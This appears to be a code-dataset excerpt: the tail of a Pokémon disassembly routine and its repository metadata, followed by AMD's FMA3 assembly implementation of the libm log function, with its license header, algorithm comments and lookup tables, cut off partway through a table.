terminator ld [de], a ret CheckMapForMon: inc hl ld b, $a .loop ld a, [wd11e] cp [hl] jr nz, .nextEntry ld a, c ld [de], a inc de .nextEntry inc hl inc hl dec b jr nz, .loop dec hl ret
21.015719
112
0.723968
[ "MIT" ]
AmateurPanda92/pokemon-rby-dx
engine/items/items.asm
62,869
Assembly
; ; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without modification, ; are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ; ; log_bdozr.S ; ; An implementation of the log libm function. ; ; Prototype: ; ; double log(double x); ; ; ; Algorithm: ; ; Based on: ; Ping-Tak Peter Tang ; "Table-driven implementation of the logarithm function in IEEE ; floating-point arithmetic" ; ACM Transactions on Mathematical Software (TOMS) ; Volume Issue,16 4 (December 1990) ; ; ; x very close to 1.0 is handled for,differently x everywhere else ; a brief explanation is given below ; ; x = (2^m)*A ; x = (2^m)*(G+g) with (1 <= G < 2) and (g <= 2^(-9)) ; x = (2^m)*2*(G/2+g/2) ; x = (2^m)*2*(F+f) with (0.5 <= F < 1) and (f <= 2^(-10)) ; ; Y = (2^(-1))*(2^(-m))*(2^m)*A ; No range,w of Y is: 0.5 <= Y < 1 ; ; F = 0100h + (first 8 mantissa bits) + (9th mantissa bit) ; No range,w of F is: 256 <= F <= 512 ; F = F / 512 ; No range,w of F is: 0.5 <= F <= 1 ; ; f = -(Y-F with,) (f <= 2^(-10)) ; ; log(x) = m*log(2) + log(2) + log(F-f) ; log(x) = m*log(2) + log(2) + log(F) + log(1-(f/F)) ; log(x) = m*log(2) + log(2*F) + log(1-r) ; ; r = (f/F with,) (r <= 2^(-9)) ; r = f*(1/F) with (1/F) precomputed to avoid division ; ; log(x) = m*log(2) + log(G) - poly ; ; log(G) is precomputed ; poly = (r + (r^2)/2 + (r^3)/3 + (r^4)/4) + (r^5)/5) + (r^6)/6)) ; ; log(2) and log(G) need to be maintained in extra precision ; to avoid losing precision in the calculations ; include fm.inc FN_PROTOTYPE_FMA3 log ; local variable storage offsets save_xmm6 EQU 00h save_xmm7 EQU 020h save_xmm8 EQU 040h save_xmm9 EQU 060h save_xmm10 EQU 080h save_xmm11 EQU 0A0h save_xmm12 EQU 0C0h save_xmm13 EQU 0E0h save_xmm14 EQU 0100h save_xmm15 EQU 0120h save_rdi EQU 0140h stack_size EQU 0168h ; We take 8 as the last nibble to allow for ; alligned data movement. fname_special TEXTEQU <_log_special> EXTERN fname_special:PROC text SEGMENT EXECUTE ALIGN 16 PUBLIC fname fname PROC FRAME StackAllocate stack_size SaveRegsAVX xmm6,save_xmm6 .ENDPROLOG ; compute exponent part xor rax,rax vpsrlq xmm3,xmm0,52 vmovq rax,xmm0 vpsubq xmm3,xmm3,QWORD PTR L__mask_1023 vcvtdq2pd xmm6,xmm3 ; xexp ; NaN or inf vpand xmm5,xmm0,QWORD PTR L__real_inf vcomisd xmm5,QWORD PTR L__real_inf je L__x_is_inf_or_nan ; check for negative numbers or zero vpxor xmm5,xmm5,xmm5 vcomisd xmm0,xmm5 jbe L__x_is_zero_or_neg vpand xmm2,xmm0,QWORD PTR L__real_mant vsubsd xmm4,xmm0,QWORD PTR L__real_one vcomisd xmm6,QWORD PTR L__mask_1023_f je L__denormal_adjust L__continue_common: ; compute index into the log tables vpand xmm1,xmm0,QWORD PTR L__mask_mant_all8 vpand xmm3,xmm0,QWORD PTR L__mask_mant9 vpsllq xmm3,xmm3,1 vpaddq xmm1,xmm3,xmm1 vmovq rax,xmm1 ; near one codepath vpand xmm4,xmm4,QWORD PTR L__real_notsign vcomisd xmm4,QWORD PTR L__real_threshold jb L__near_one ; F,Y shr rax,44 vpor xmm2,xmm2,QWORD PTR L__real_half vpor xmm1,xmm1,QWORD PTR L__real_half lea r9,QWORD PTR L__log_F_inv ; f = F - Y,r = f * inv vsubsd xmm1,xmm1,xmm2 vmulsd xmm1,xmm1,QWORD PTR[r9 + rax * 8] lea r9,QWORD PTR L__log_256_lead ; poly vmulsd xmm0,xmm1,xmm1 ; r*r vmovsd xmm3,QWORD PTR L__real_1_over_6 vmovsd xmm5,QWORD PTR L__real_1_over_3 vfmadd213sd xmm3,xmm1,QWORD PTR L__real_1_over_5 ; r*1/6 + 1/5 vfmadd213sd xmm5,xmm1,QWORD PTR L__real_1_over_2 ; 1/2+r*1/3 vmovsd xmm4,xmm0,xmm0 ; r*r vfmadd213sd xmm3,xmm1,QWORD PTR L__real_1_over_4 ;1/4+(1/5*r+r*r*1/6) vmulsd xmm4,xmm0,xmm0 ; r*r*r*r vfmadd231sd xmm1,xmm5,xmm0 ; r*r*(1/2+r*1/3) + r vfmadd231sd xmm1,xmm3,xmm4 ; m*log(2) + log(G) - poly vmovsd xmm5,QWORD PTR L__real_log2_tail vfmsub213sd xmm5,xmm6,xmm1 vmovsd xmm0,QWORD PTR[r9 + rax * 8] lea rdx,QWORD PTR L__log_256_tail vmovsd xmm1,QWORD PTR[rdx + rax * 8] vaddsd xmm1,xmm1,xmm5 vfmadd231sd xmm0,xmm6,QWORD PTR L__real_log2_lead vaddsd xmm0,xmm0,xmm1 RestoreRegsAVX xmm6,save_xmm6 StackDeallocate stack_size ret ALIGN 16 L__near_one: ; r = x - 1.0 vmovsd xmm3,QWORD PTR L__real_two vsubsd xmm0,xmm0,QWORD PTR L__real_one ; r vaddsd xmm3,xmm3,xmm0 vdivsd xmm1,xmm0,xmm3 ; r/(2+r) = u/2 vmovsd xmm4,QWORD PTR L__real_ca2 vmovsd xmm5,QWORD PTR L__real_ca4 vmulsd xmm3,xmm0,xmm1 ; correction vaddsd xmm1,xmm1,xmm1 ; u vmulsd xmm2,xmm1,xmm1 ; u^2 vfmadd213sd xmm4,xmm2,QWORD PTR L__real_ca1 vfmadd213sd xmm5,xmm2,QWORD PTR L__real_ca3 vmulsd xmm2,xmm2,xmm1 ; u^3 vmulsd xmm4,xmm4,xmm2 vmulsd xmm2,xmm2,xmm2 vmulsd xmm2,xmm2,xmm1 ; u^7 vfmadd231sd xmm4,xmm5,xmm2 vsubsd xmm4,xmm4,xmm3 vaddsd xmm0,xmm0,xmm4 RestoreRegsAVX xmm6,save_xmm6 StackDeallocate stack_size ret L__denormal_adjust: vpor xmm2,xmm2,QWORD PTR L__real_one vsubsd xmm2,xmm2,QWORD PTR L__real_one vpsrlq xmm5,xmm2,52 vpand xmm2,xmm2,QWORD PTR L__real_mant vmovapd xmm0,xmm2 vpsubd xmm5,xmm5,XMMWORD PTR L__mask_2045 vcvtdq2pd xmm6,xmm5 jmp L__continue_common ALIGN 16 L__x_is_zero_or_neg: jne L__x_is_neg vmovsd xmm1,QWORD PTR L__real_ninf mov r8d,DWORD PTR L__flag_x_zero call fname_special RestoreRegsAVX xmm6,save_xmm6 StackDeallocate stack_size ret ALIGN 16 L__x_is_neg: vmovsd xmm1,QWORD PTR L__real_neg_qnan mov r8d,DWORD PTR L__flag_x_neg call fname_special RestoreRegsAVX xmm6,save_xmm6 StackDeallocate stack_size ret ALIGN 16 L__x_is_inf_or_nan: cmp rax,QWORD PTR L__real_inf je L__finish cmp rax,QWORD PTR L__real_ninf je L__x_is_neg or rax,QWORD PTR L__real_qnanbit movd xmm1,rax mov r8d,DWORD PTR L__flag_x_nan call fname_special ALIGN 16 L__finish: RestoreRegsAVX xmm6,save_xmm6 StackDeallocate stack_size ret fname endp TEXT ENDS data SEGMENT READ CONST SEGMENT ALIGN 16 ; these codes and the ones in the corresponding .c file have to match L__flag_x_zero DD 00000001 L__flag_x_neg DD 00000002 L__flag_x_nan DD 00000003 ALIGN 16 L__real_ninf DQ 00fff0000000000000h ; -inf DQ 00000000000000000h L__real_inf DQ 07ff0000000000000h ; +inf DQ 00000000000000000h L__real_neg_qnan DQ 0fff8000000000000h ; neg qNaN DQ 0000000000000000h L__real_qnan DQ 07ff8000000000000h ; qNaN DQ 00000000000000000h L__real_qnanbit DQ 00008000000000000h DQ 00000000000000000h L__real_mant DQ 0000FFFFFFFFFFFFFh ; mantissa bits DQ 00000000000000000h L__mask_1023 DQ 000000000000003ffh DQ 00000000000000000h L__mask_001 DQ 00000000000000001h DQ 00000000000000000h L__mask_mant_all8 DQ 0000ff00000000000h DQ 00000000000000000h L__mask_mant9 DQ 00000080000000000h DQ 00000000000000000h L__real_log2_lead DQ 03fe62e42e0000000h ; log2_lead 6.93147122859954833984e-01 DQ 00000000000000000h L__real_log2_tail DQ 03e6efa39ef35793ch ; log2_tail 5.76999904754328540596e-08 DQ 00000000000000000h L__real_two DQ 04000000000000000h ; 2 DQ 00000000000000000h L__real_one DQ 03ff0000000000000h ; 1 DQ 00000000000000000h L__real_half DQ 03fe0000000000000h ; 1/2 DQ 00000000000000000h L__mask_100 DQ 00000000000000100h DQ 00000000000000000h L__real_1_over_512 DQ 03f60000000000000h DQ 00000000000000000h L__real_1_over_2 DQ 03fe0000000000000h DQ 00000000000000000h L__real_1_over_3 DQ 03fd5555555555555h DQ 00000000000000000h L__real_1_over_4 DQ 03fd0000000000000h DQ 00000000000000000h L__real_1_over_5 DQ 03fc999999999999ah DQ 00000000000000000h L__real_1_over_6 DQ 03fc5555555555555h DQ 00000000000000000h L__mask_1023_f DQ 00c08ff80000000000h DQ 00000000000000000h L__mask_2045 DQ 000000000000007fdh DQ 00000000000000000h L__real_threshold DQ 03fb0000000000000h ; .0625 DQ 00000000000000000h L__real_notsign DQ 07ffFFFFFFFFFFFFFh ; ^sign bit DQ 00000000000000000h L__real_ca1 DQ 03fb55555555554e6h ; 8.33333333333317923934e-02 DQ 00000000000000000h L__real_ca2 DQ 03f89999999bac6d4h ; 1.25000000037717509602e-02 DQ 00000000000000000h L__real_ca3 DQ 03f62492307f1519fh ; 2.23213998791944806202e-03 DQ 00000000000000000h L__real_ca4 DQ 03f3c8034c85dfff0h ; 4.34887777707614552256e-04 DQ 00000000000000000h ALIGN 16 L__log_256_lead DQ 00000000000000000h DQ 03f6ff00aa0000000h DQ 03f7fe02a60000000h DQ 03f87dc4750000000h DQ 03f8fc0a8b0000000h DQ 03f93cea440000000h DQ 03f97b91b00000000h DQ 03f9b9fc020000000h DQ 03f9f829b00000000h DQ 03fa1b0d980000000h DQ 03fa39e87b0000000h DQ 03fa58a5ba0000000h DQ 03fa77458f0000000h DQ 03fa95c8300000000h DQ 03fab42dd70000000h DQ 03fad276b80000000h DQ 03faf0a30c0000000h DQ 03fb0759830000000h DQ 03fb16536e0000000h DQ 03fb253f620000000h DQ 03fb341d790000000h DQ 03fb42edcb0000000h DQ 03fb51b0730000000h DQ 03fb60658a0000000h DQ 03fb6f0d280000000h DQ 03fb7da7660000000h DQ 03fb8c345d0000000h DQ 03fb9ab4240000000h DQ 03fba926d30000000h DQ 03fbb78c820000000h DQ 03fbc5e5480000000h DQ 03fbd4313d0000000h DQ 03fbe270760000000h DQ 03fbf0a30c0000000h DQ 03fbfec9130000000h DQ 03fc0671510000000h DQ 03fc0d77e70000000h DQ 03fc1478580000000h DQ 03fc1b72ad0000000h DQ 03fc2266f10000000h DQ 03fc29552f0000000h DQ 03fc303d710000000h DQ 03fc371fc20000000h DQ 03fc3dfc2b0000000h DQ 03fc44d2b60000000h DQ 03fc4ba36f0000000h DQ 03fc526e5e0000000h DQ 03fc59338d0000000h DQ 03fc5ff3070000000h DQ 03fc66acd40000000h DQ 03fc6d60fe0000000h DQ 03fc740f8f0000000h DQ 03fc7ab8900000000h DQ 03fc815c0a0000000h DQ 03fc87fa060000000h DQ 03fc8e928d0000000h DQ 03fc9525a90000000h DQ 03fc9bb3620000000h DQ 03fca23bc10000000h DQ 03fca8becf0000000h DQ 03fcaf3c940000000h DQ 03fcb5b5190000000h DQ 03fcbc28670000000h DQ 03fcc296850000000h DQ 03fcc8ff7c0000000h DQ 03fccf63540000000h DQ 03fcd5c2160000000h DQ 03fcdc1bca0000000h DQ 03fce270760000000h DQ 03fce8c0250000000h DQ 03fcef0adc0000000h DQ 03fcf550a50000000h DQ 03fcfb91860000000h DQ 03fd00e6c40000000h DQ 03fd0402590000000h DQ 03fd071b850000000h DQ 03fd0a324e0000000h DQ 03fd0d46b50000000h DQ 03fd1058bf0000000h DQ 03fd1368700000000h DQ 03fd1675ca0000000h DQ 03fd1980d20000000h DQ 03fd1c898c0000000h DQ 03fd1f8ff90000000h DQ 03fd22941f0000000h DQ 03fd2596010000000h DQ 03fd2895a10000000h DQ 03fd2b93030000000h DQ 03fd2e8e2b0000000h DQ 03fd31871c0000000h DQ 03fd347dd90000000h DQ 03fd3772660000000h DQ 03fd3a64c50000000h DQ 03fd3d54fa0000000h DQ 03fd4043080000000h DQ 03fd432ef20000000h DQ 03fd4618bc0000000h DQ 03fd4900680000000h DQ 03fd4be5f90000000h DQ 03fd4ec9730000000h DQ 03fd51aad80000000h DQ 03fd548a2c0000000h DQ 03fd5767710000000h DQ 03fd5a42ab0000000h DQ 03fd5d1bdb0000000h DQ 03fd5ff3070000000h DQ 03fd62c82f0000000h DQ 03fd659b570000000h DQ 03fd686c810000000h DQ 03fd6b3bb20000000h DQ 03fd6e08ea0000000h DQ 03fd70d42e0000000h DQ 03fd739d7f0000000h DQ 03fd7664e10000000h DQ 03fd792a550000000h DQ 03fd7bede00000000h DQ 03fd7eaf830000000h DQ 03fd816f410000000h DQ 03fd842d1d0000000h DQ 03fd86e9190000000h DQ 03fd89a3380000000h DQ 03fd8c5b7c0000000h DQ 03fd8f11e80000000h DQ 03fd91c67e0000000h DQ 03fd9479410000000h DQ 03fd972a340000000h DQ 03fd99d9580000000h DQ 03fd9c86b00000000h DQ 03fd9f323e0000000h DQ 03fda1dc060000000h DQ 03fda484090000000h DQ 03fda72a490000000h DQ 03fda9cec90000000h DQ 03fdac718c0000000h DQ 03fdaf12930000000h DQ 03fdb1b1e00000000h DQ 03fdb44f770000000h DQ 03fdb6eb590000000h DQ 03fdb985890000000h DQ 03fdbc1e080000000h DQ 03fdbeb4d90000000h DQ 03fdc149ff0000000h DQ 03fdc3dd7a0000000h DQ 03fdc66f4e0000000h DQ 03fdc8ff7c0000000h DQ 03fdcb8e070000000h DQ 03fdce1af00000000h DQ 03fdd0a63a0000000h DQ 03fdd32fe70000000h DQ 03fdd5b7f90000000h DQ 03fdd83e720000000h DQ 03fddac3530000000h DQ 03fddd46a00000000h DQ 03fddfc8590000000h DQ 03fde248810000000h DQ 03fde4c71a0000000h DQ 03fde744260000000h DQ 03fde9bfa60000000h DQ 03fdec399d0000000h DQ 03fdeeb20c0000000h DQ 03fdf128f50000000h DQ 03fdf39e5b0000000h DQ 03fdf6123f0000000h DQ 03fdf884a30000000h DQ 03fdfaf5880000000h DQ 03fdfd64f20000000h DQ 03fdffd2e00000000h DQ 03fe011fab0000000h DQ 03fe02552a0000000h DQ 03fe0389ee0000000h DQ 03fe04bdf90000000h DQ 03fe05f14b0000000h DQ 03fe0723e50000000h DQ 03fe0855c80000000h DQ 03fe0986f40000000h DQ 03fe0ab76b0000000h DQ 03fe0be72e0000000h DQ 03fe0d163c0000000h DQ 03fe0e44980000000h DQ 03fe0f72410000000h DQ 03fe109f390000000h DQ 03fe11cb810000000h DQ 03fe12f7190000000h DQ 03fe1422020000000h DQ 03fe154c3d0000000h DQ 03fe1675ca0000000h DQ 03fe179eab0000000h DQ 03fe18c6e00000000h DQ 03fe19ee6b0000000h DQ 03fe1b154b0000000h DQ 03fe1c3b810000000h DQ 03fe1d610f0000000h DQ 03fe1e85f50000000h DQ 03fe1faa340000000h DQ 03fe20cdcd0000000h DQ 03fe21f0bf0000000h DQ 03fe23130d0000000h DQ 03fe2434b60000000h DQ 03fe2555bc0000000h DQ 03fe2676200000000h DQ 03fe2795e10000000h DQ 03fe28b5000000000h DQ 03fe29d37f0000000h DQ 03fe2af15f0000000h DQ 03fe2c0e9e0000000h DQ 03fe2d2b400000000h DQ 03fe2e47430000000h DQ 03fe2f62a90000000h DQ 03fe307d730000000h DQ 03fe3197a00000000h DQ 03fe32b1330000000h DQ 03fe33ca2b0000000h DQ 03fe34e2890000000h DQ 03fe35fa4e0000000h DQ 03fe37117b0000000h DQ 03fe38280f0000000h DQ 03fe393e0d0000000h DQ 03fe3a53730000000h DQ 03fe3b68440000000h DQ 03fe3c7c7f0000000h DQ 03fe3d90260000000h DQ 03fe3ea3390000000h DQ 03fe3fb5b80000000h DQ 03fe40c7a40000000h DQ 03fe41d8fe0000000h DQ 03fe42e9c60000000h DQ 03fe43f9fe0000000h DQ 03fe4509a50000000h DQ 03fe4618bc0000000h DQ 03fe4727430000000h DQ 03fe48353d0000000h DQ 03fe4942a80000000h DQ 03fe4a4f850000000h DQ 03fe4b5bd60000000h DQ 03fe4c679a0000000h DQ 03fe4d72d30000000h DQ 03fe4e7d810000000h DQ 03fe4f87a30000000h DQ 03fe50913c0000000h DQ 03fe519a4c0000000h DQ 03fe52a2d20000000h DQ 03fe53aad00000000h DQ 03fe54b2460000000h DQ 03fe55b9350000000h DQ 03fe56bf9d0000000h DQ 03fe57c57f0000000h DQ 03fe58cadb0000000h DQ 03fe59cfb20000000h DQ 03fe5ad4040000000h DQ 03fe5bd7d30000000h DQ 03fe5cdb1d0000000h DQ 03fe5ddde50000000h DQ 03fe5ee02a0000000h DQ 03fe5fe1ed0000000h DQ 03fe60e32f0000000h DQ 03fe61e3ef0000000h DQ 03fe62e42e0000000h DQ 00000000000000000h ALIGN 16 L__log_256_tail DQ 00000000000000000h DQ 03db5885e0250435ah DQ 03de620cf11f86ed2h DQ 03dff0214edba4a25h DQ 03dbf807c79f3db4eh DQ 03dea352ba779a52bh DQ 03dff56c46aa49fd5h DQ 03dfebe465fef5196h DQ 03e0cf0660099f1f8h DQ 03e1247b2ff85945dh DQ 03e13fd7abf5202b6h DQ 03e1f91c9a918d51eh DQ 03e08cb73f118d3cah DQ 03e1d91c7d6fad074h DQ 03de1971bec28d14ch DQ 03e15b616a423c78ah DQ 03da162a6617cc971h DQ 03e166391c4c06d29h DQ 03e2d46f5c1d0c4b8h DQ 03e2e14282df1f6d3h DQ 03e186f47424a660dh DQ 03e2d4c8de077753eh DQ 03e2e0c307ed24f1ch DQ 03e226ea18763bdd3h DQ 03e25cad69737c933h DQ 03e2af62599088901h DQ 03e18c66c83d6b2d0h DQ 03e1880ceb36fb30fh DQ 03e2495aac6ca17a4h DQ 03e2761db4210878ch DQ 03e2eb78e862bac2fh DQ 03e19b2cd75790dd9h DQ 03e2c55e5cbd3d50fh DQ 03db162a6617cc971h DQ 03dfdbeabaaa2e519h DQ 03e1652cb7150c647h DQ 03e39a11cb2cd2ee2h DQ 03e219d0ab1a28813h DQ 03e24bd9e80a41811h DQ 03e3214b596faa3dfh DQ 03e303fea46980bb8h DQ 03e31c8ffa5fd28c7h DQ 03dce8f743bcd96c5h DQ 03dfd98c5395315c6h DQ 03e3996fa3ccfa7b2h DQ 03e1cd2af2ad13037h DQ 03e1d0da1bd17200eh DQ 03e3330410ba68b75h DQ 03df4f27a790e7c41h DQ 03e13956a86f6ff1bh DQ 03e2c6748723551d9h DQ 03e2500de9326cdfch DQ 03e1086c848df1b59h DQ 03e04357ead6836ffh DQ 03e24832442408024h DQ 03e3d10da8154b13dh DQ 03e39e8ad68ec8260h DQ 03e3cfbf706abaf18h DQ 03e3fc56ac6326e23h DQ 03e39105e3185cf21h DQ 03e3d017fe5b19cc0h DQ 03e3d1f6b48dd13feh DQ 03e20b63358a7e73ah DQ 03e263063028c211ch DQ 03e2e6a6886b09760h DQ 03e3c138bb891cd03h DQ 03e369f7722b7221ah DQ 03df57d8fac1a628ch DQ 03e3c55e5cbd3d50fh DQ 03e1552d2ff48fe2eh DQ 03e37b8b26ca431bch DQ 03e292decdc1c5f6dh DQ 03e3abc7c551aaa8ch DQ 03e36b540731a354bh DQ 03e32d341036b89efh DQ 03e4f9ab21a3a2e0fh DQ 03e239c871afb9fbdh DQ 03e3e6add2c81f640h DQ 03e435c95aa313f41h DQ 03e249d4582f6cc53h DQ 03e47574c1c07398fh DQ 03e4ba846dece9e8dh DQ 03e16999fafbc68e7h DQ 03e4c9145e51b0103h DQ 03e479ef2cb44850ah DQ 03e0beec73de11275h DQ 03e2ef4351af5a498h DQ 03e45713a493b4a50h DQ 03e45c23a61385992h DQ 03e42a88309f57299h DQ 03e4530faa9ac8aceh DQ 03e25fec2d792a758h DQ 03e35a517a71cbcd7h DQ 03e3707dc3e1cd9a3h DQ 03e3a1a9f8ef43049h DQ 03e4409d0276b3674h DQ 03e20e2f613e85bd9h DQ 03df0027433001e5fh DQ 03e35dde2836d3265h DQ 03e2300134d7aaf04h DQ 03e3cb7e0b42724f5h DQ 03e2d6e93167e6308h DQ 03e3d1569b1526adbh DQ 03e0e99fc338a1a41h DQ 03e4eb01394a11b1ch DQ 03e04f27a790e7c41h DQ 03e25ce3ca97b7af9h DQ 03e281f0f940ed857h DQ 03e4d36295d88857ch DQ 03e21aca1ec4af526h DQ 03e445743c7182726h DQ 03e23c491aead337eh DQ 03e3aef401a738931h DQ 03e21cede76092a29h DQ 03e4fba8f44f82bb4h DQ 03e446f5f7f3c3e1ah DQ 03e47055f86c9674bh DQ 03e4b41a92b6b6e1ah DQ 03e443d162e927628h DQ 03e4466174013f9b1h DQ 03e3b05096ad69c62h DQ 03e40b169150faa58h DQ 03e3cd98b1df85da7h DQ 03e468b507b0f8fa8h DQ 03e48422df57499bah DQ 03e11351586970274h DQ 03e117e08acba92eeh DQ 03e26e04314dd0229h DQ 03e497f3097e56d1ah DQ 03e3356e655901286h DQ 03e0cb761457f94d6h DQ 03e39af67a85a9dach DQ 03e453410931a909fh DQ 03e22c587206058f5h DQ 03e223bc358899c22h DQ 03e4d7bf8b6d223cbh DQ 03e47991ec5197ddbh DQ 03e4a79e6bb3a9219h DQ 03e3a4c43ed663ec5h DQ 03e461b5a1484f438h DQ 03e4b4e36f7ef0c3ah DQ 03e115f026acd0d1bh DQ 03e3f36b535cecf05h DQ 03e2ffb7fbf3eb5c6h DQ 03e3e6a6886b09760h DQ 03e3135eb27f5bbc3h DQ 03e470be7d6f6fa57h DQ 03e4ce43cc84ab338h DQ 03e4c01d7aac3bd91h DQ 03e45c58d07961060h DQ 03e3628bcf941456eh DQ 03e4c58b2a8461cd2h DQ 03e33071282fb989ah DQ 03e420dab6a80f09ch DQ 03e44f8d84c397b1eh DQ 03e40d0ee08599e48h DQ 03e1d68787e37da36h DQ 03e366187d591bafch DQ 03e22346600bae772h DQ 03e390377d0d61b8eh DQ 03e4f5e0dd966b907h DQ 03e49023cb79a00e2h DQ 03e44e05158c28ad8h DQ 03e3bfa7b08b18ae4h DQ 03e4ef1e63db35f67h DQ 03e0ec2ae39493d4fh DQ 03e40afe930ab2fa0h DQ 03e225ff8a1810dd4h DQ 03e469743fb1a71a5h DQ 03e5f9cc676785571h DQ 03e5b524da4cbf982h DQ 03e5a4c8b381535b8h DQ 03e5839be809caf2ch DQ 03e50968a1cb82c13h DQ 03e5eae6a41723fb5h DQ 03e5d9c29a380a4dbh DQ 03e4094aa0ada625eh DQ 03e5973ad6fc108cah DQ 03e4747322fdbab97h DQ 03e593692fa9d4221h DQ 03e5c5a992dfbc7d9h DQ 03e4e1f33e102387ah DQ 03e464fbef14c048ch DQ 03e4490f513ca5e3bh DQ 03e37a6af4d4c799dh DQ 03e57574c1c07398fh DQ 03e57b133417f8c1ch DQ 03e5feb9e0c176514h DQ 03e419f25bb3172f7h DQ 03e45f68a7bbfb852h DQ 03e5ee278497929f1h DQ 03e5ccee006109d58h DQ 03e5ce081a07bd8b3h DQ 03e570e12981817b8h DQ 03e292ab6d93503d0h DQ 03e58cb7dd7c3b61eh DQ 03e4efafd0a0b78dah DQ 03e5e907267c4288eh DQ 03e5d31ef96780875h DQ 03e23430dfcd2ad50h DQ 03e344d88d75bc1f9h DQ 03e5bec0f055e04fch DQ 03e5d85611590b9adh DQ 03df320568e583229h DQ 03e5a891d1772f538h DQ 03e22edc9dabba74dh DQ 03e4b9009a1015086h DQ 03e52a12a8c5b1a19h DQ 03e3a7885f0fdac85h DQ 03e5f4ffcd43ac691h DQ 03e52243ae2640aadh DQ 03e546513299035d3h DQ 03e5b39c3a62dd725h DQ 03e5ba6dd40049f51h DQ 03e451d1ed7177409h DQ 03e5cb0f2fd7f5216h DQ 03e3ab150cd4e2213h DQ 03e5cfd7bf3193844h DQ 03e53fff8455f1dbdh DQ 03e5fee640b905fc9h DQ 03e54e2adf548084ch DQ 03e3b597adc1ecdd2h DQ 03e4345bd096d3a75h DQ 03e5101b9d2453c8bh DQ 03e508ce55cc8c979h DQ 03e5bbf017e595f71h DQ 03e37ce733bd393dch DQ 03e233bb0a503f8a1h DQ 03e30e2f613e85bd9h DQ 03e5e67555a635b3ch DQ 03e2ea88df73d5e8bh DQ 03e3d17e03bda18a8h DQ 03e5b607d76044f7eh DQ 03e52adc4e71bc2fch DQ 03e5f99dc7362d1d9h DQ 03e5473fa008e6a6ah DQ 03e2b75bb09cb0985h DQ 03e5ea04dd10b9abah DQ 03e5802d0d6979674h DQ 03e174688ccd99094h DQ 03e496f16abb9df22h DQ 03e46e66df2aa374fh DQ 03e4e66525ea4550ah DQ 03e42d02f34f20cbdh DQ 03e46cfce65047188h DQ 03e39b78c842d58b8h DQ 03e4735e624c24bc9h DQ 03e47eba1f7dd1adfh DQ 03e586b3e59f65355h DQ 03e1ce38e637f1b4dh DQ 03e58d82ec919edc7h DQ 03e4c52648ddcfa37h DQ 03e52482ceae1ac12h DQ 03e55a312311aba4fh DQ 03e411e236329f225h DQ 03e5b48c8cd2f246ch DQ 03e6efa39ef35793ch DQ 00000000000000000h ALIGN 16 L__log_F_inv DQ 04000000000000000h DQ 03fffe01fe01fe020h DQ 03fffc07f01fc07f0h DQ 03fffa11caa01fa12h DQ 03fff81f81f81f820h DQ 03fff6310aca0dbb5h DQ 03fff44659e4a4271h DQ 03fff25f644230ab5h DQ 03fff07c1f07c1f08h DQ 03ffee9c7f8458e02h DQ 03ffecc07b301ecc0h DQ 03ffeae807aba01ebh DQ 03ffe9131abf0b767h DQ 03ffe741aa59750e4h DQ 03ffe573ac901e574h DQ 03ffe3a9179dc1a73h DQ 03ffe1e1e1e1e1e1eh DQ 03ffe01e01e01e01eh DQ 03ffde5d6e3f8868ah DQ 03ffdca01dca01dcah DQ 03ffdae6076b981dbh DQ 03ffd92f2231e7f8ah DQ 03ffd77b654b82c34h DQ 03ffd5cac807572b2h DQ 03ffd41d41d41d41dh DQ 03ffd272ca3fc5b1ah DQ 03ffd0cb58f6ec074h DQ 03ffcf26e5c44bfc6h DQ 03ffcd85689039b0bh DQ 03ffcbe6d9601cbe7h DQ 03ffca4b3055ee191h DQ 03ffc8b265afb8a42h DQ 03ffc71c71c71c71ch DQ 03ffc5894d10d4986h DQ 03ffc3f8f01c3f8f0h DQ 03ffc26b5392ea01ch DQ 03ffc0e070381c0e0h DQ 03ffbf583ee868d8bh DQ 03ffbdd2b899406f7h DQ 03ffbc4fd65883e7bh DQ 03ffbacf914c1bad0h DQ 03ffb951e2b18ff23h DQ 03ffb7d6c3dda338bh DQ 03ffb65e2e3beee05h DQ 03ffb4e81b4e81b4fh DQ 03ffb37484ad806ceh DQ 03ffb2036406c80d9h DQ 03ffb094b31d922a4h DQ 03ffaf286bca1af28h DQ 03ffadbe87f94905eh DQ 03ffac5701ac5701bh DQ 03ffaaf1d2f87ebfdh DQ 03ffa98ef606a63beh DQ 03ffa82e65130e159h DQ 03ffa6d01a6d01a6dh DQ 03ffa574107688a4ah DQ 03ffa41a41a41a41ah DQ 03ffa2c2a87c51ca0h DQ 03ffa16d3f97a4b02h DQ 03ffa01a01a01a01ah DQ 03ff9ec8e951033d9h DQ 03ff9d79f176b682dh DQ 03ff9c2d14ee4a102h DQ 03ff9ae24ea5510dah DQ 03ff999999999999ah DQ 03ff9852f0d8ec0ffh DQ 03ff970e4f80cb872h DQ 03ff95cbb0be377aeh DQ 03ff948b0fcd6e9e0h DQ 03ff934c67f9b2ce6h DQ 03ff920fb49d0e229h DQ 03ff90d4f120190d5h DQ 03ff8f9c18f9c18fah DQ 03ff8e6527af1373fh DQ 03ff8d3018d3018d3h DQ 03ff8bfce8062ff3ah DQ 03ff8acb90f6bf3aah DQ 03ff899c0f601899ch DQ 03ff886e5f0abb04ah DQ 03ff87427bcc092b9h DQ 03ff8618618618618h DQ 